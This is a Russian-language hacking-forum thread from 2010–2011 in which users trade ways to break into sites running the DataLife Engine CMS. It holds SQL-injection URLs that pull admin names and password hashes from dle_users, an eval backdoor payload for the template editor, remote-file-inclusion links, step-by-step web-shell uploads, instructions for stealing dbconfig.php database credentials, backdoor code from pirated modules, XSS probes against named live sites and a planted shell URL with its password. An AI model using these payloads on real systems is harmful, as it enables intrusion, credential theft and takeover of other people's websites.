вывод в - 3 поле.

RulleR
18.06.2010, 15:21
C интвалом разобрался, спасибо. Потестил узвимость на локалхосте, срабатывает только при register_globals = On


http://[host]/[path]/index.php?do=forum&act=topic&tid=1+and+1=2+union+select+1,2,concat_ws(0x3a,name ,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23,24+from+dle_users+where+user_id=1

wildshaman
18.06.2010, 15:27
Упс, большое спасибо, у меня на денвере rg=on стояло для тестов, а я забыл про это (

Думал, там $tid передается при инклуде, просмотрел, спасибо.

Дописал в пост.

RAISh
22.06.2010, 08:35
В админке разрешаешь заливку php файлов, добавляешь новость и прикрепляешь файл к ней, т.е. сам шелл и всё. После смотришь имя, которое ему присвоилось таким способом:

Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки

Зависимость: Права админа или журналиста с разрешением заливать файлы через админку

Файл: /admin.php?mod=files

Кусок кода:


$file_prefix=time() +rand(1,100);

$file_prefix.="_";

@copy($imageurl,ROOT_DIR."/uploads/files/".$file_prefix.$image_name)

Ага, пишется: unixtime+{случайное число от 1 до 100}_название_файла_что_мы_вы рузили

Отсылаем файл, снифаем, что вернул сервер:

Date: Mon, 14 Jun 2010 07:35:04 GMT

делаем себе

[PHP]
[COLOR="#0000BB"]for($i=0;$i[COLOR="#007700"]

Тр⚡️ха
26.06.2010, 17:37
xss

xss, проверял на 8.5 и 8.2

file /engine/modules/imagepreview.php

[PHP]
[COLOR="#0000BB"]
$_GET['image'] = @htmlspecialchars($_GET['image'],ENT_QUOTES);

if(preg_match([COLOR="#DD0000"]"/[?&;%

Alex$09
21.07.2010, 12:07
Дядя ZloY как всегда постарался(как понел это типо бекдоры в нуллах и модулях от злово и его "мега команды")...

1)

require_once ENGINE_DIR.'/data/dbconfig.php';

echo "dbconfig.php : Host = ".DBHOST." DBName = ".DBNAME." DBUser = ".DBUSER." DBPassword: ".DBPASS."

";

2)

require_once ENGINE_DIR.'/api/api.class.php';

$user = md5(rand(0,10000));

$password = md5(rand(0,1000));

$res = $dle_api->external_register($user,$password,md5(rand(0,10000 0))."@mail

.ru",1);

echo $res;

echo $user;

echo "
";

echo $password;

З.Ы. Кто знает как юзать плиз в личку кинь... Ах да, было найдено http://getdle.com/extras/referer/xss/1.txt и http://getdle.com/extras/referer/xss/2.txt

попугай
21.07.2010, 13:21
А чо там юзать - просто при заходе на ./engine/data/dbconfig.php выводится логин, пасс и хост базы данных.

А второе регистрирует нового юзверя и выводит пароль и логин.

FlooP1k
15.09.2010, 15:11
Что то давно о ДЛЕ не чего не слышно уже как бы и 9.0 вышло ...

И офф. сайт чето мудрит http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html

Тр⚡️ха
18.09.2010, 20:48
http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html

)), пофиксели мой приватный способ заливки шелла

slva2000
21.09.2010, 15:30
Там два момента. На мой взгялд они не связаны (с поиском и средактором шаблона). Редактор доступен только из админки, и вот что мне удалось натестить:

Если отправить POST запрос приблизительного следующего содержания:





кнопка сабмит где то тут...


Поигратся с кавычками, то можно затолкать туда php код для исполнения...

С поиском так и не понял, что можно намутить

__________________________________

К моему предедёщему посту дополнение.

В POST запросе нужно отправить:


{${@eval($_GET[cmd])}}

после этого любая комманды вида:

site.ru/?cmd=echo%20phpinfo();

ЗЫ комманда д.б. закодирована urlencode();

___________________________________

не стоим на месте:

"глобальные массивы" д.б. ОN, а дальше:

?do=search&subaction=search&story=bla-bla&sql_count=Sql_Que..&titleonly=FOUR

oko
25.09.2010, 13:43
Кто скажет что про это, http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html какой то баг видно серьезный нашли

LamerHacker
25.09.2010, 13:51
oko, а в посте перед тобой о чем расписано ?

slva2000, получается воспользоваться багом с редактором шаблона можно только через админку ?

И можешь чуть поподробней расписать, как использовать баг с поиском?

FlooP1k
19.10.2010, 11:05
Помогите написать скрипт для ДЛЕ, что бы он добавил нового пользователя в бд с правами админа ...

slva2000
04.11.2010, 13:58
Раскрытие префикса к БД

версии, вероятно, до 8.0

1. Регаешься

2. Авторизируешься

3. Смотриш куку с именем, вида XXXX_name, которая принимает значение твоего логина,

где XXXX - префикс к БД.

попугай
20.11.2010, 23:32
Раскрытие префикса к БД
версии, вероятно, до 8.0
1. Регаешься
2. Авторизируешься
3. Смотриш куку с именем, вида
XXXX
_name, которая принимает значение твоего логина,
где XXXX - префикс к БД.



Это не префикс к БД, это просто название куки, она всегда dle_name, есть еще dle_password, dle_pm и dle_user_id. Проверено на dle7.0, dle7.3 и dle 7.5

RexTiam
03.02.2011, 03:58
Выкладываю несколько сплоитов для DLE 8.3

ttp://skripters.com/engine/inc/include/init.php?selected_language=http://loca

lhost/c.txt?

http://skripters.com/engine/inc/help.php?config[langs]=http://localhost/c.txt

?

http://skripters.com/engine/ajax/pm.php?config[lang_=[EV!L]

http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local

host/c.txt?

http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local

host/c.txt?

flinster
05.02.2011, 01:54
Выкладываю несколько сплоитов для DLE 8.3
ttp://skripters.com/engine/inc/include/init.php?selected_language=http://loca
lhost/c.txt?
http://skripters.com/engine/inc/help.php?config[langs]=http://localhost/c.txt
?
http://skripters.com/engine/ajax/pm.php?config[lang_=[EV!L]
http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local
host/c.txt?
http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local
host/c.txt?


Чет не врубился как юзать, подробнее можете расписать?

Я так понимаю заливаем шелл.

Залил я шелл допустим на народ, нашел парочку сайтов на дле данной версии и пробую... на некоторых просто белая страница, на других вылазиет какая то ошибка.

Eviler
07.02.2011, 01:17
ребят, у кого осталась уязвимая версия lostpassword.php для 8,2 или кто может сделать такую же темку для 8,3?) надо прикрутить на сайт)

RexTiam
07.02.2011, 20:46
flinster, если не знаешь. Лучше не лезь сюда.

так же изучи что такое Open VPN и Дедики. И соксы.

wildshaman
07.02.2011, 21:06
Рекс, херню написал (я про пост со "сплоитами"). Не знаешь - не лезь.

Je[K]inS
16.02.2011, 14:34
Критическая уязвимость всех версий DLE. Эта уязвимость работает на всех версия DLE. Баг позволяет выполнять любые действия, в том числе sql запросы.
целях предотвращения взлома - сам метод взлома не разглашается
Для лечения в config.php вставить:

'key'=>"УНИК КОД"

УНИК КОД заменить ваш код который знаете только вы
На лицензированных версиях баг не критичен, но шанс взлома есть.


Пиар лицензии или как ?

Слышал подвержены все => 9.0.

Кто знает как юзать дырку прошу пример в студию

попугай
26.02.2011, 01:03
inS"]
Je[K]inS said:
Пиар лицензии или как ?
Слышал подвержены все => 9.0.
Кто знает как юзать дырку прошу пример в студию



Это вообще что-за баг? На официальном сайте нет про это, а в гугле описание бага нашел только на сайте, где он уже удален.

KoT3
26.02.2011, 01:54
Ты думаешь на офф сайте будут публиковать такую багу ?


DataLife Engine : Если вы используете нулённую версию движка , то не забудте добавить ключ для неё


-> ппц ржунимагу...

Дырку врядли в открытую опубликуют ибо 25% рунета уйдёт ф попу ибо юзают нулл от DLE...

И врядли дыра вообще существует. Хотя надо проверить

0x0
02.03.2011, 12:52
xss

Фотоальбомы для DataLife Engine

версия: 0.09 точно остальные не проверял

тип: XSS

site.ru/engine/photo/image.php?&filetype=gif&type=XSS

примеры


http://dle-photo.admin-club.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
http://www.turbooks.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
http://www.mysoft-bel.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
http://korshuniha.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
http://dams.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
http://nugon.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E

piupiu
14.03.2011, 19:08
ребят, у кого осталась уязвимая версия lostpassword.php для 8,2 или кто может сделать такую же темку для 8,3?) надо прикрутить на сайт)




super_query("SELECT lostid FROM ".USERPREFIX."_lostdb WHERE lostname='$douser'");



if($row['lostid'] ==$lostid) {



$row=$db->super_query("SELECT name FROM ".USERPREFIX."_users WHERE user_id='$douser' LIMIT 0,1");



$username=$row['name'];



$salt="012";

srand( ( double )microtime() *1000000);



for($i=0;$iquery("UPDATE ".USERPREFIX."_users set password='".md5(md5($new_pass) ) ."', allowed_ip = '' WHERE user_id='$douser'");

$db->query("DELETE FROM ".USERPREFIX."_lostdb WHERE lostname='$douser'");



msgbox($lang['lost_gen'],"$lang[lost_npass]

$lang[lost_login]&nbsp;&nbsp;$username
$lang[lost_pass]$new_pass

$lang[lost_info]");



} else {

$db->query("DELETE FROM ".USERPREFIX."_lostdb WHERE lostname='$douser'");

msgbox($lang['all_err_1'],$lang['lost_err'] );

}



} elseif( isset($_POST['submit_lost'] ) ) {



if($_POST['sec_code'] !=$_SESSION['sec_code_session'] or !$_SESSION['sec_code_session'] ) {



msgbox($lang['all_err_1'],$lang['reg_err_19'] ."

$lang[all_prev]");



} else {



$_SESSION['sec_code_session'] =false;

$lostname=$db->safesql($_POST['lostname'] );



if(ereg('^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+'.'@'.'[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.'.'[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$',$lostname) )$search="email = '".$lostname."'";

else$search="name = '".$lostname."'";



$db->query("SELECT user_id, email, name FROM ".USERPREFIX."_users where{$search}LIMIT 0,1");



if($db->num_rows() >0) {



include_onceENGINE_DIR.'/classes/mail.class.php';

$mail= newdle_mail($config);



$row=$db->get_row();

$db->free();



$lostmail=$row['email'];

$userid=$row['user_id'];

$lostname=$row['name'];



$row=$db->super_query("SELECT template FROM ".PREFIX."_email where name='lost_mail' LIMIT 0,1");



$row['template'] =stripslashes($row['template'] );



$salt="012";

srand( ( double )microtime() *1000000);



for($i=0;$iquery("DELETE FROM ".USERPREFIX."_lostdb WHERE lostname='$userid'");



$db->query("INSERT INTO ".USERPREFIX."_lostdb (lostname, lostid) values ('$userid', '$lostid')");



$row['template'] =str_replace("{%username%}",$lostname,$row['template'] );

$row['template'] =str_replace("{%lostlink%}",$lostlink,$row['template'] );

$row['template'] =str_replace("{%ip%}",$_SERVER['REMOTE_ADDR'],$row['template'] );



$mail->send($lostmail,$lang['lost_subj'],$row['template'] );



if($mail->send_error)msgbox($lang['all_info'],$mail->smtp_msg);

elsemsgbox($lang['lost_ms'],$lang['lost_ms_1'] );



} else {

msgbox($lang['all_err_1'],$lang['lost_err_1'] );

}

}

} else {

$tpl->load_template('lostpassword.tpl');



$tpl->set('{code}',"
{$lang['reload_code']}");



$tpl->copy_template="\n".$tpl->copy_template."

";



$tpl->copy_template.=

{$lang['reload_code']}';

};

//-->

HTML;



$tpl->compile('content');



$tpl->clear();

}

?>





Сканер сайтов по данной уязвимости, на данный момент таких осталось ~ 4%

Но для своих бекдоров в самый раз.

Пример:

tomtel.org/index.php?do=lostpassword&douser=1&lostid=

sanchez
25.05.2011, 22:40
Воруем С DLE сайта пароли от бд

Вроде бы еще не было так что извеняюсь если повторюсь!

Взлом сайта на DLE версии ниже 9.0, инструкция (Работаем через браузер Opera 10).

1. Заходим на сайт жертвы

2. Регистрируемся и авторизуемся на сайте

3. Переходим по ссылке _http://site.ru/engine/images.php (где site.ru - адрес жертвы)

4. Открываем исходный код открытой нами страницы и после:




(строка может немного отличаться и повторяться 2 раза, вставляем после 1й)




Нажимаем в браузере, под вкладками Применить изменения

5. После этих действий необходимо проверить работоспособность дырки, для этого на странице http://site.ru/engine/images.php, чей исходный код мы редактировали пунктом выше, нажимаем Загрузить. В списке загруженных файлов должен появиться dbconfig.php, мы можем продолжить...

Что бы скачать файл конфига мы должны навести на него указатель мыши и посмотреть ID, затем через Исходный код страницы / Применить изменения мы вставляем в любое место страницы сайта жертвы ссылку вида:

[download]
[/HTML]

и скачиваем файл dbconfig.php с данными для входа в phpMyAdmin, адрес которой обычно site.ru/phpmyadmin/ или site.ru/myadmin/

Источник (http://getdle.org.ru/dle/tips/22-nedostatochnaya-filtraciya-dannyh-sposob-vzloma-i-zaschity-dle.html)

Kuteke
18.07.2011, 12:52
Как залить шелл в DLE Статистические страницы -> Создаем любой новый(например system.html), показываем только админам.

Пишем в окошко исходный код любого шелла на php, выбираем HTML без фильтрации.

3) Сохраняем

4) Заходим по адресу: http://target.com/[dlepath]/system.html

Видим свой шелл, быстренько заливаем другой шелл, удаляем system.html с админки. Радуемся шеллу)))

ysmat
23.07.2011, 11:18
С поиском так и не понял, что можно намутить


баг в поиске

позволяет выполнить любой SQL запрос

переменная sql_count не определена и если registr_global on ее можно установить

также она устанавливаеться в search.php в блоках


if( in_array( $titleonly, array (0, 2, 3, 5 ) ) )
if( $titleonly == 1 or $titleonly == 2 )
if( $titleonly == 6 )

чтоб этого не произошло устанавливаем titleonly = 4

попугай
24.07.2011, 22:14
теги






не прокатывают в "Реактор HTML кода"



Не прокатывают или просто phpinfo ты не видишь? Глянь соурс html - там наверняка увидешь свои теги и php код.

Лично я попробовал способ Kuteke на 8.2 - нифига код не исполняется, тупо выводится плейн текстом мое , а в исходниках движка даже намека на исполнение php в страницах нет.

Потом специально поставил dle 8.5, попробовал снова - точно так же плейнтекстом мне выдается в соурсе.

Kuteke, в какой версии DLE ты это пробовал?

ride
28.07.2011, 23:24
Есть ли что-нибудь более-менее серьезное в сборке DLE 8.5 от SoftDLE? (http://www.softdle.com/dle/177-dle-85.html)

Нашел только раскрытие путей

engine/ajax/pages.php?year[]=&month[]=&user[]=&day[]=

Kuteke
29.07.2011, 15:10
попугай

Я пробовал 8.2, 8.5, 8.3! Пахало! Даже в разделе Продажа покупал админки и все ОК! Я кажется знаю ваши ошибки! Вы просто не ставите галку напротив "Нефильтрованный HTML"!

LIberman
31.07.2011, 10:02
dle_onl_session=1'+or(1,1)=(select+count(0),concat ((select+concat_ws(0x3a,name,password)+from+dle_us ers+where+user_group=1+limit+0,1),floor(rand(0)*2) )from(information_schema.tables)group+by+2)--+

Через куки достается хеш админа.

Подскажите какой запрос сделать для заливки шелла? Или чего еще интересного можно наскулить)

гугл пробовал) те варианты выводят "1064"

попугай
31.07.2011, 18:00
попугай
Я пробовал 8.2, 8.5, 8.3! Пахало! Даже в разделе Продажа покупал админки и все ОК! Я кажется знаю ваши ошибки! Вы просто не ставите галку напротив "Нефильтрованный HTML"!


ставлю, конечно, делал как ты написал несколькими постами выше.

Отпиши мне в личку, скинь соурсы двжиков, на которых это работало, если не затруднит.

slva2000
01.08.2011, 11:28
Не прокатывают или просто phpinfo ты не видишь? Глянь соурс html - там наверняка увидешь свои теги и php код.
Лично я попробовал способ
Kuteke
на 8.2 - нифига код не исполняется, тупо выводится плейн текстом мое , а в исходниках движка даже намека на исполнение php в страницах нет.
Потом специально поставил dle 8.5, попробовал снова - точно так же плейнтекстом мне выдается в соурсе.
Kuteke
, в какой версии DLE ты это пробовал?


Они именно затираются послеки клика по Ява-окну "Редактор HTML"-> "Отправить". Второй клик на открытие редактора, и теги уже затёрты, т.е. парсер при отправке отредактированного текста, их затирает.

попугай
01.08.2011, 11:35
Они именно затираются послеки клика по Ява-окну "Редактор HTML"-> "Отправить". Второй клик на открытие редактора, и теги уже затёрты, т.е. парсер при отправке отредактированного текста, их затирает.


ну я визуальный редактор не использовал - в обычном текстовом поле прекрасно

HAXTA4OK
24.08.2011, 02:12
так ребята, все что связано с покупкой не в этот раздел, здесь только то что найдено вами, ни какой коммерческой деятельности, попрошу не захломлять раздел ....Присутсвует слово куплю, значит вам разделом купля/продажа

Wap-Traff
03.09.2011, 18:28
Как через админку залить шелл в версии 9.2

extrimportal
03.09.2011, 18:44
насколько мне известно, то пока что - никак. начиная с версии какой то там, где в шаблоне пхп блочится шелл с админки залить нельзя. возможно ошибаюсь конечно, но так было.

Kuteke
03.09.2011, 18:56
Wap-Traff,

вроде через config можно залить:

/showpost.php?p=890150&postcount=26

slva2000
05.09.2011, 08:05
насколько мне известно, то пока что - никак. начиная с версии какой то там, где в шаблоне пхп блочится шелл с админки залить нельзя. возможно ошибаюсь конечно, но так было.


ну это смотря что понимать под словом "залить". Залить можно и используя FTP протокол, и HTTP; интерфейс добавления новости, и просто самодельную форму с дыркой... Так что, залить можно всегда и везде, важно знать метод.

extrimportal
06.09.2011, 14:22
Ну если человек спрашивает "в админку дле 9.2", то думаю фтп данных у него нет, так и как самодельной формы. А "добавление новости", очень много нюансов. Если не узнать название файла после заливки, думаю пользы он вам мало принесет... А тут свои нюансы. доступ до бд, антивирус, и прочие приколы.

droptheacid
08.10.2011, 00:10
Ситуация в общем такая.

Имеется админка DLE версии 6.5.

Разрешил загрузку php, в добавлении новости залил шелл, через бд посмотрел имя своего файла на серве. Перехожу по ссылке, по которой должен быть шелл - 403. htaccess мешается. Редактирование шаблонов запрещено, поэтому инклуд отменяется.

"вставляем в новость слово типа [attachment.....] берём его в теги http://[attachment=xx]

Нажимаем кнопку "Предварительный просмотр" и видим адресс шелла." С ранее приатаченой картинкой прокатывает, а с шелом нет (ни адреса шела (хотя его и из бд знаю) ни выполненного кода).

Заливка своего .htaccess не катит так же, загруженный файл такое имя имеет 1318013145_.htaccess

Есть идеи?

slva2000
08.10.2011, 09:54
droptheacid

Идея есть всегда, например убить хтакцесс. В этой ветке 100% обсуждалось.

Ну или, если хватит знаний вот тебе код:


if( $action == "doimagedelete" ) {

дальше думай сам

ITdocer
10.10.2011, 15:51
а есть уязвимости в версии 9,2?

.while
13.10.2011, 17:19
облазил все, есть что под 6.3 или 7.2 вообще?

ysmat
14.10.2011, 02:13
ест ли возможность обмануть ЧПУ чтоб при обращении к

http://dl6.ru/backup/ выводился список файлов а не (По данному критерию новости не найдены, либо у вас нет доступа для просмотра этих новостей)

то есть если есть архивы базы их скачать

index.html из папки backup удален

slva2000
14.10.2011, 21:02
ест ли возможность обмануть ЧПУ чтоб при обращении к
http://dl6.ru/backup/ выводился список файлов а не (По данному критерию новости не найдены, либо у вас нет доступа для просмотра этих новостей)
то есть если есть архивы базы их скачать
index.html из папки backup удален


По-умолчанию Апач настроен так, что не показывает фалы в директории, при отсутствии index файла. К тому же, по-умолчанию, в backup/ расположен .htaccess:


Order Deny,

Allow Deny from all

ysmat
16.10.2011, 18:47
как раз наоборот если index нет то показывееться список

файлов

я могу удалить любые файлы (есть уязвимость) в том числе

и .htaccess

если удалить .htaccess из главной директории то тогда

ЧПУ выключиться и файлы будут видны но сайт не

будет работать

slva2000
17.10.2011, 07:16
как раз наоборот если index нет то показывееться список
файлов
я могу удалить любые файлы (есть уязвимость) в том числе
и .htaccess
если удалить .htaccess из главной директории то тогда
ЧПУ выключиться и файлы будут видны но сайт не
будет работать


Я так понял бэкап базы нужен? Ну так и удаляй главный .htaccess, если админ не совсем туп, то это не сильно его расстроит.

Aniweste
21.11.2011, 19:28
Здравствуйте. Нарвался на старую уязвимость в Dle , версии 8.2 . Почитав форум и просмотрев видео не смог понять как именно сформировать LFI. Дошёл только до вывода раскрытия путей:

http://s017.radikal.ru/i440/1111/f4/71c1c2c0023e.jpg

Скажите - можно ли что-нибудь ещё сделать? Либо это предел? Прошу помочь, если не сложно.

BigBear
22.11.2011, 14:43
Здравствуйте. Нарвался на старую уязвимость в Dle , версии 8.2 . Почитав форум и просмотрев видео не смог понять как именно сформировать LFI. Дошёл только до вывода раскрытия путей:
http://s017.radikal.ru/i440/1111/f4/71c1c2c0023e.jpg
Скажите - можно ли что-нибудь ещё сделать? Либо это предел? Прошу помочь, если не сложно.


Эмм. Дабл постинг ??

Отвечу и тут. Раскрытие путей как уязвимость мало чего значит. Зато помогает сориентироваться куда можно залить потенциальный шелл.

попугай
22.11.2011, 16:22
Здравствуйте. Нарвался на старую уязвимость в Dle , версии 8.2 . Почитав форум и просмотрев видео не смог понять как именно сформировать LFI. Дошёл только до вывода раскрытия путей:
http://s017.radikal.ru/i440/1111/f4/71c1c2c0023e.jpg
Скажите - можно ли что-нибудь ещё сделать? Либо это предел? Прошу помочь, если не сложно.


так же, как и обычный инклюд.

swat_
26.11.2011, 23:22
как залить шелл в 8.2 ?

Sirius05
27.11.2011, 13:13
видимо для версии 9.2 и выше уязвимостей нет

itraxe
27.11.2011, 23:20
droptheacid
Идея есть всегда, например убить хтакцесс. В этой ветке 100% обсуждалось.
Ну или, если хватит знаний вот тебе код:

if( $action == "doimagedelete" ) {

дальше думай сам


Делись инфой пожалуйста.

В ветке так никто и не решил ситуацию с htaccess

romagaisin
04.12.2011, 12:55
есть способ заливки шелла на 9.* это 100% знаю кто его знает, но просто так его не даст, и достаточно много людей его знают, в версиях до 9-ки htacess сносится легко, просто посылаем запрос на удаление файла htacess в admin.php?mod=files В 9-ки тоже есть способ удаления htacess но там files даже близко не стоит, способ приватный и денег стоит, сам рвусь узнать его

Ereee
04.12.2011, 13:26
Меня одного смущает это строка?

files.php


if(trim($row['onserver']) ==".htaccess") die("Hacking attempt!");

trololoman96
04.12.2011, 13:29
До версии 9.0 можно залиться через админку, на офф сайте в баг фиксах есть намек на это. В паблике нормального описания эксплуатация уязвимости не видел, да и не нужно это.

Datax
05.12.2011, 02:20
Меня одного смущает это строка?
files.php

if(trim($row['onserver']) ==".htaccess") die("Hacking attempt!");





Это система выписала тебе бан, потому-что куда ты лезешь ,там все прикрыто.

Пиши в асю ,могу скинуть приватный баг на DLE 9.2 и способ заливки шелла.

Намек тебе /engine/images.php дальше сам крути ,она там 100%

DarkMaster
13.12.2011, 17:38
Подскажите как правильно эксплуатировать вот эту уязвимость:

__rutracker.org/forum/viewtopic.php?t=3734420&start=30

В чистом виде php грузится хорошо, простенький шелл получается. Но при запросе картинки - грузится таки именно картинка и ничего больше. Как правильно обратиться к этому бэкдору?

Metal-Core
13.12.2011, 18:41
Через Site.ru/engine/images.php удалось залить склеенный шелл с .Jpeg "test1.jpg"

попытка открыть через .php увенчалась неудачей.

http://Site.ru/engine/modules/imagepreview.php?image=http://Site.ru/uploads/posts/2011-12/test1.php

http://Site.ru/uploads/posts/2011-12/test1.php - тож пробывал.

DarkMaster
13.12.2011, 19:18
Ну, я имел ввиду сайты, где уже залита уязвимость и в htaccess все как надо прописано. Таких как минимум несколько уже есть - с рутрекера движок поставили многие

Datax
13.12.2011, 21:58
Через Site.ru/engine/images.php удалось залить склеенный шелл с .Jpeg "test1.
jpg
"
попытка открыть через .php увенчалась неудачей.
http://Site.ru/engine/modules/imagepreview.php?image=http://Site.ru/uploads/posts/2011-12/test1.
php
http://Site.ru/uploads/posts/2011-12/test1.
php
- тож пробывал.


Убейте htaccess и разрешите работу php и все зальется.

DarkMaster
13.12.2011, 22:25
Убейте htaccess и разрешите работу php и все зальется.


На 9x это не работает, только на 7х-8х...

Datax
13.12.2011, 23:03
Работает и на новых. DLE 9.4

Бага

http://storage2.static.itmages.ru/i/11/1215/h_1323953248_5403380_0d7f3acfda.png (http://itmages.ru/image/view/360538/0d7f3acf)

Шелл

http://storage3.static.itmages.ru/i/11/1215/h_1323953270_5666665_e4e879faa6.png (http://itmages.ru/image/view/360539/e4e879fa)

Бага

http://worldcs.idhost.kz/engine/skins/images/jprof.jpeg

Шелла



http://worldcs.idhost.kz/engine/data/new/base.php

пароль:0cp

Datax
15.12.2011, 18:20
Еще одна приватная бага ,работает на новых версиях.

Заходим например суда http://soft.wlok.ru

Делаем запрос

http://soft.wlok.ru/soft/page/99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 999999999999999999/

Цифры девять ,нужно написать слитно.

Видим

http://storage9.static.itmages.ru/i/11/1215/h_1323955118_1765197_eb99d32068.png (http://itmages.ru/image/view/360563/eb99d320)

Раскручивайте дальше сами, я например вытаскивал все пароли и логины.

lansia1
15.12.2011, 19:28
Datax, Как раскурутить?

extrimportal
15.12.2011, 19:55
скулей, хотя очень сомневаюсь что работает